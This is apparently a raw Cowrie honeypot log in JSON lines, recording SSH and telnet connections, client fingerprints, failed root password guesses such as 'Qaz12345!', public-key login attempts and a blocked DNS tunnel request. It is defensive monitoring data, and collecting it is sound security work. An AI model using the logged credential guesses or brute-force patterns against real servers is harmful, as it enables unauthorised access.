{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:57:41.834102Z","session":"20cc41e52e58","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:57:41.932300Z","src_ip":"87.251.64.176","session":"20cc41e52e58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:57:42.031368Z","src_ip":"87.251.64.176","session":"20cc41e52e58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":43518,"dst_ip":"159.203.135.109","dst_port":22,"session":"61f0433633f8","protocol":"ssh","message":"New connection: 103.172.78.219:43518 (159.203.135.109:22) [session: 61f0433633f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:57:43.758715Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:57:43.768425Z","src_ip":"103.172.78.219","session":"61f0433633f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:57:44.024681Z","src_ip":"103.172.78.219","session":"61f0433633f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mamama","message":"login attempt [root/mamama] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:57:45.096225Z","src_ip":"103.172.78.219","session":"61f0433633f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:57:46.355688Z","src_ip":"103.172.78.219","session":"61f0433633f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.32192134857178,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:57:47.891708Z","src_ip":"192.119.13.58","session":"22b4ff9ba2cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.219.170.37","src_port":52045,"dst_ip":"159.203.135.109","dst_port":22,"session":"537cda884a86","protocol":"ssh","message":"New connection: 103.219.170.37:52045 (159.203.135.109:22) [session: 537cda884a86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:57:48.153356Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:57:48.158466Z","src_ip":"103.219.170.37","session":"537cda884a86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:57:48.230939Z","src_ip":"103.219.170.37","session":"537cda884a86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qaz12345!","message":"login attempt [root/Qaz12345!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:57:48.443828Z","src_ip":"103.219.170.37","session":"537cda884a86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:57:49.525910Z","src_ip":"103.219.170.37","session":"537cda884a86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.964319467544556,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:57:52.321035Z","src_ip":"192.119.13.58","session":"4015fd1f61f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47240,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe3c35190482","protocol":"telnet","message":"New connection: 192.119.13.58:47240 (10.17.0.5:23) [session: fe3c35190482]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:57:54.564702Z"}
{"eventid":"cowrie.session.closed","duration":3.9510796070098877,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:57:58.515644Z","src_ip":"192.119.13.58","session":"fe3c35190482","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.16.180.28","src_port":54104,"dst_ip":"10.17.0.5","dst_port":22,"session":"d81b9f234156","protocol":"ssh","message":"New connection: 154.16.180.28:54104 (10.17.0.5:22) [session: d81b9f234156]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:58:08.840957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:58:08.847085Z","src_ip":"154.16.180.28","session":"d81b9f234156","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:58:08.941900Z","src_ip":"154.16.180.28","session":"d81b9f234156","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fd:54:82:96:21:87:16:64:aa:34:92:b3:f0:39:b8:b3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCr7sonRLx5TYSTeflsiHAxu2qq2H0MskZFvWA+4t3TTVOdCCxUGjyXFpug7b5xZ2KFmuePnpK5MqQ8C51YF06E1zeozk61MB9wdmn75TxIJKVnQYbuwnJSesUV5vLm3N9Wk2NwiG/OKW1dL976Gmr397c5LlUTvamxSWegA+0wu2Bqh2WXzyoAcGLq/fu+oZ0/fbBOipSyqPHDmI6v+Q7R2qYAdVMHcq7B4oUZZOxW0qSQ9E07s7SPHLwYGHrdkTLzmVvUgZeLth1aHfCdP+UwIOIAwj1WWqoVY7W0il0i/hQey1sI3Ov0VzBt84d1zJC/iCYJZMvv1Erss/+XgNND","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fd:54:82:96:21:87:16:64:aa:34:92:b3:f0:39:b8:b3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:58:09.374728Z","src_ip":"154.16.180.28","session":"d81b9f234156","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fd:54:82:96:21:87:16:64:aa:34:92:b3:f0:39:b8:b3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCr7sonRLx5TYSTeflsiHAxu2qq2H0MskZFvWA+4t3TTVOdCCxUGjyXFpug7b5xZ2KFmuePnpK5MqQ8C51YF06E1zeozk61MB9wdmn75TxIJKVnQYbuwnJSesUV5vLm3N9Wk2NwiG/OKW1dL976Gmr397c5LlUTvamxSWegA+0wu2Bqh2WXzyoAcGLq/fu+oZ0/fbBOipSyqPHDmI6v+Q7R2qYAdVMHcq7B4oUZZOxW0qSQ9E07s7SPHLwYGHrdkTLzmVvUgZeLth1aHfCdP+UwIOIAwj1WWqoVY7W0il0i/hQey1sI3Ov0VzBt84d1zJC/iCYJZMvv1Erss/+XgNND","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:58:09.378640Z","src_ip":"154.16.180.28","session":"d81b9f234156","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"06:cb:ee:11:a2:d5:da:6b:27:b5:54:53:75:66:65:6f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4FA3cDKzMHhUpEPGPQpHHzfGY37ycrkTPfvnZZX9y55+P+3hRK7l2VbSH1ydIFb1UCiRvTz3tpFyv00r0yZIsNqO7V3VO6ZkxquD32NNyT4UDAOufcRxydaeJxbD7EXlb6p6FYpq+ToDsxaDYakLT+CKxY6s+VCYQLW/a+FzqZUJTW85CVbbcv53y0HyxRxsfcw3ngmu1Eapg00ne1hHIBBpgTCrx4nOjerp73SJL/GAE/m8Tn8c/l6uZPJpNivcRmtc2l1T5syiWQTHldeeZE6n6aUBYDBFJZ7tnsCvHFLzsDcxhS+OOG73lSDZVK23MJTXCKHNt26Tbdm6+M7pSw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 06:cb:ee:11:a2:d5:da:6b:27:b5:54:53:75:66:65:6f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:58:09.470602Z","src_ip":"154.16.180.28","session":"d81b9f234156","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"06:cb:ee:11:a2:d5:da:6b:27:b5:54:53:75:66:65:6f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4FA3cDKzMHhUpEPGPQpHHzfGY37ycrkTPfvnZZX9y55+P+3hRK7l2VbSH1ydIFb1UCiRvTz3tpFyv00r0yZIsNqO7V3VO6ZkxquD32NNyT4UDAOufcRxydaeJxbD7EXlb6p6FYpq+ToDsxaDYakLT+CKxY6s+VCYQLW/a+FzqZUJTW85CVbbcv53y0HyxRxsfcw3ngmu1Eapg00ne1hHIBBpgTCrx4nOjerp73SJL/GAE/m8Tn8c/l6uZPJpNivcRmtc2l1T5syiWQTHldeeZE6n6aUBYDBFJZ7tnsCvHFLzsDcxhS+OOG73lSDZVK23MJTXCKHNt26Tbdm6+M7pSw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:58:09.475129Z","src_ip":"154.16.180.28","session":"d81b9f234156","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4a:d4:ad:b5:b0:37:93:43:4a:29:9c:31:17:9f:10:27","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEAw63tRCQvuuS3a1ewpEH8ZEjkEPABuujf0e6X4gCvAUycILvW3YIp/VuBAB3l0lYu2nCMC/RIrZ6Ur4mEoBi837+0UMWFAVMMYny2l5pWH2JEDhc++jqzHcTQ3Op3Hh19Ptxwsi3J3Y4B37i35gejXbdygQTp2KuC0vv5OCXeNmBXHo2IYQ7cpqlBDRtwA2PcrKRMNnPV/FGg4YTE2cF1nPAIrvn7WsBuFtnvf0YuQal8poYOwbjB2rm1k6SabfJw50GOwLg1lh4ba2B6x1CLChZCm7IH66cDjPdX8fnp3h3nppZiqkqkyY/3oMPS5f4oOImYWCDOXxbax2SKYLyBFKHpBIoG0u0474X3LSFcCSCg2hVE1ObdAUih/uDrDinD48s7CG+rWSYWSNc/SRM+6w9daMITmAWBPtrYuQlhmZ17aU5pRKzPSvBoRl3FL8idHEFP4faVtb0rFYeR7j+MqSf5HTAQY8Efh4qNFsW8nUvSIjucrcOzFp3RK0q9Rpmy7ldaasxLIPUVHQ4SRO2zXpZXNtG9J54v1QQ7WFjVmcebxwL/+evzE9r7yJLghNz/z/GwQGZkjxAvzHc3khn+2qvBrYiweMq+w01j52vuEuH2RO08SAPGWFCYn7men6exgDSKu3b7OPY/Y+xf4MlTJbuJvnM5I5nh5bEG2eRJO9c=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4a:d4:ad:b5:b0:37:93:43:4a:29:9c:31:17:9f:10:27","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:58:09.570572Z","src_ip":"154.16.180.28","session":"d81b9f234156","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4a:d4:ad:b5:b0:37:93:43:4a:29:9c:31:17:9f:10:27","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEAw63tRCQvuuS3a1ewpEH8ZEjkEPABuujf0e6X4gCvAUycILvW3YIp/VuBAB3l0lYu2nCMC/RIrZ6Ur4mEoBi837+0UMWFAVMMYny2l5pWH2JEDhc++jqzHcTQ3Op3Hh19Ptxwsi3J3Y4B37i35gejXbdygQTp2KuC0vv5OCXeNmBXHo2IYQ7cpqlBDRtwA2PcrKRMNnPV/FGg4YTE2cF1nPAIrvn7WsBuFtnvf0YuQal8poYOwbjB2rm1k6SabfJw50GOwLg1lh4ba2B6x1CLChZCm7IH66cDjPdX8fnp3h3nppZiqkqkyY/3oMPS5f4oOImYWCDOXxbax2SKYLyBFKHpBIoG0u0474X3LSFcCSCg2hVE1ObdAUih/uDrDinD48s7CG+rWSYWSNc/SRM+6w9daMITmAWBPtrYuQlhmZ17aU5pRKzPSvBoRl3FL8idHEFP4faVtb0rFYeR7j+MqSf5HTAQY8Efh4qNFsW8nUvSIjucrcOzFp3RK0q9Rpmy7ldaasxLIPUVHQ4SRO2zXpZXNtG9J54v1QQ7WFjVmcebxwL/+evzE9r7yJLghNz/z/GwQGZkjxAvzHc3khn+2qvBrYiweMq+w01j52vuEuH2RO08SAPGWFCYn7men6exgDSKu3b7OPY/Y+xf4MlTJbuJvnM5I5nh5bEG2eRJO9c=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:58:09.574766Z","src_ip":"154.16.180.28","session":"d81b9f234156","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d8:cf:64:d5:cd:c5:81:3a:26:20:e3:1c:77:1e:b7:8d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKn4wa57jnLSoc/JtlQmz+kwSJzru7DNTPKomwhP2bfJDfs9qjRDn2hckxtH+g53NQzw3T3ViGXEOYd8pjqQTvN0c3x8B0MfF2scyLqhrYnYSH34DeN7gOe3NDpPO9nDWklKJosiaaWdX27ZsqcucbToshe2vWyUPRxUpjMs8cnHbVXL63cUPSOyB/ThLAtvymtPvYLxq8nI+C6omUv9LbS7mw0p5Vnpq9s0N0TwVF8xCNXg7f/q6WKWmM6mY3UXveBDRobPl516QR0X7iojyLFTp4kJXow7X1kcYO+pAjX6XLg3Y23GcO6pqRdPZyPYGqGjcwstAKpKa8NDqewFNF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d8:cf:64:d5:cd:c5:81:3a:26:20:e3:1c:77:1e:b7:8d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:58:09.667370Z","src_ip":"154.16.180.28","session":"d81b9f234156","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d8:cf:64:d5:cd:c5:81:3a:26:20:e3:1c:77:1e:b7:8d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKn4wa57jnLSoc/JtlQmz+kwSJzru7DNTPKomwhP2bfJDfs9qjRDn2hckxtH+g53NQzw3T3ViGXEOYd8pjqQTvN0c3x8B0MfF2scyLqhrYnYSH34DeN7gOe3NDpPO9nDWklKJosiaaWdX27ZsqcucbToshe2vWyUPRxUpjMs8cnHbVXL63cUPSOyB/ThLAtvymtPvYLxq8nI+C6omUv9LbS7mw0p5Vnpq9s0N0TwVF8xCNXg7f/q6WKWmM6mY3UXveBDRobPl516QR0X7iojyLFTp4kJXow7X1kcYO+pAjX6XLg3Y23GcO6pqRdPZyPYGqGjcwstAKpKa8NDqewFNF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:58:09.671328Z","src_ip":"154.16.180.28","session":"d81b9f234156","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e2:9b:fe:1f:d4:05:d9:11:f0:69:01:a7:b5:a6:4d:f2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDY/l99GFjzVJRGywD8ejczkBstaKXjov3t4NBwMoJdNZU5C41SqxMwGh7Un966yarTr0nrJC3gemqWURDAvsohy7+3hI56sk+P2C+r/0DNFscX+6SEXj/Wd+Dcw7xGaLmoWYFRcYUf3jOIk9WWShGIJX7zlaz1+KMYh2kzkyjfm2gKuw7HBg5Yw4sr1V9JGeDoe8/06QPPJpwdCGOPYbjFKGUfaz3/g7udFZ1hyPSqUbrd2ZsZ4SsQv6zpuyYNrqVvKbNiSURCcekOABr6o9rYsef96qVxmxGGCpeij0dos6gpJsHDRv6nXNYMzckkrYRLt0QchQN22MuZh1QVbjnocDXii48dlhDrMmnXeUpFDT85HJK5otjLGHUsO/5emyp3oZs7LI3JVJ6X31fOmKpWpvWtY/wRL81tnQxemF9JPfnvkmqCdjzeijHwCBJFwC5/AUJmy5rnkY0UsF2ddFrNgeWdHTj3y3iQ4AjtvpHQRYFfAP1d4xnuXfWSbxzYj9s=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e2:9b:fe:1f:d4:05:d9:11:f0:69:01:a7:b5:a6:4d:f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:58:09.764274Z","src_ip":"154.16.180.28","session":"d81b9f234156","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e2:9b:fe:1f:d4:05:d9:11:f0:69:01:a7:b5:a6:4d:f2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDY/l99GFjzVJRGywD8ejczkBstaKXjov3t4NBwMoJdNZU5C41SqxMwGh7Un966yarTr0nrJC3gemqWURDAvsohy7+3hI56sk+P2C+r/0DNFscX+6SEXj/Wd+Dcw7xGaLmoWYFRcYUf3jOIk9WWShGIJX7zlaz1+KMYh2kzkyjfm2gKuw7HBg5Yw4sr1V9JGeDoe8/06QPPJpwdCGOPYbjFKGUfaz3/g7udFZ1hyPSqUbrd2ZsZ4SsQv6zpuyYNrqVvKbNiSURCcekOABr6o9rYsef96qVxmxGGCpeij0dos6gpJsHDRv6nXNYMzckkrYRLt0QchQN22MuZh1QVbjnocDXii48dlhDrMmnXeUpFDT85HJK5otjLGHUsO/5emyp3oZs7LI3JVJ6X31fOmKpWpvWtY/wRL81tnQxemF9JPfnvkmqCdjzeijHwCBJFwC5/AUJmy5rnkY0UsF2ddFrNgeWdHTj3y3iQ4AjtvpHQRYFfAP1d4xnuXfWSbxzYj9s=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:58:09.768651Z","src_ip":"154.16.180.28","session":"d81b9f234156","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:58:09.861575Z","src_ip":"154.16.180.28","session":"d81b9f234156","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56412,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee13f193cd99","protocol":"telnet","message":"New connection: 192.119.13.58:56412 (10.17.0.5:23) [session: ee13f193cd99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:58:17.303533Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44946,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c810b8fc88c","protocol":"telnet","message":"New connection: 192.119.13.58:44946 (10.17.0.5:23) [session: 5c810b8fc88c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:58:21.016514Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":40224,"dst_ip":"10.17.0.5","dst_port":22,"session":"0616263c7d05","protocol":"ssh","message":"New connection: 103.149.170.125:40224 (10.17.0.5:22) [session: 0616263c7d05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:58:28.689184Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:58:28.694086Z","src_ip":"103.149.170.125","session":"0616263c7d05","protocol":"ssh"}
